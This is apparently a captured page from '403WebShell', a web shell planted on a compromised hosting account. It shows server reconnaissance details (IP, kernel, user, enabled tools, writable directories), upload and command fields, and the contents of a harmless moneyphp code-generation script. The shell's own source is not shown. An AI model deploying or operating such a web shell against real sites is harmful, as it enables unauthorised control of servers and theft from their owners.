����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.139.86.128
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/moneyphp/money/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/moneyphp/money/resources/generate-money-factory.php
<?php

require __DIR__.'/../vendor/autoload.php';

use Money\Currencies;
use Money\Currency;

(static function (): void {
    $buffer = <<<'PHP'
<?php

declare(strict_types=1);

namespace Money;

use InvalidArgumentException;

/**
 * This is a generated file. Do not edit it manually!
 *
PHPDOC
 * @psalm-immutable
 */
trait MoneyFactory
{
    /**
     * Convenience factory method for a Money object.
     *
     * <code>
     * $fiveDollar = Money::USD(500);
     * </code>
     *
     * @param array $arguments
     * @psalm-param non-empty-string          $method
     * @psalm-param array{numeric-string|int} $arguments
     *
     * @throws InvalidArgumentException If amount is not integer(ish).
     *
     * @psalm-pure
     */
    public static function __callStatic(string $method, array $arguments): Money
    {
        return new Money($arguments[0], new Currency($method));
    }
}

PHP;

    $methodBuffer = '';

    $iterator = new Currencies\AggregateCurrencies([
        new Currencies\ISOCurrencies(),
        new Currencies\BitcoinCurrencies(),
        new Currencies\CryptoCurrencies(),
    ]);

    $currencies = array_unique([...$iterator]);
    usort($currencies, static fn (Currency $a, Currency $b): int => strcmp($a->getCode(), $b->getCode()));

    /** @var Currency[] $currencies */
    foreach ($currencies as $currency) {
        $code = $currency->getCode();
        if (is_numeric($code[0])) {
            preg_match('/^([0-9]*)(.*?)$/', $code, $extracted);

            $formatter = new \NumberFormatter('en', \NumberFormatter::SPELLOUT);
            $code = strtoupper(preg_replace('/\s+/', '', $formatter->format($extracted[1])) . $extracted[2]);
        }

        $methodBuffer .= sprintf(" * @method static Money %s(numeric-string|int \$amount)\n", $code);
    }

    $buffer = str_replace('PHPDOC', rtrim($methodBuffer), $buffer);

    file_put_contents(__DIR__.'/../src/MoneyFactory.php', $buffer);
})();

Youez - 2016 - github.com/yon3zu
LinuXploit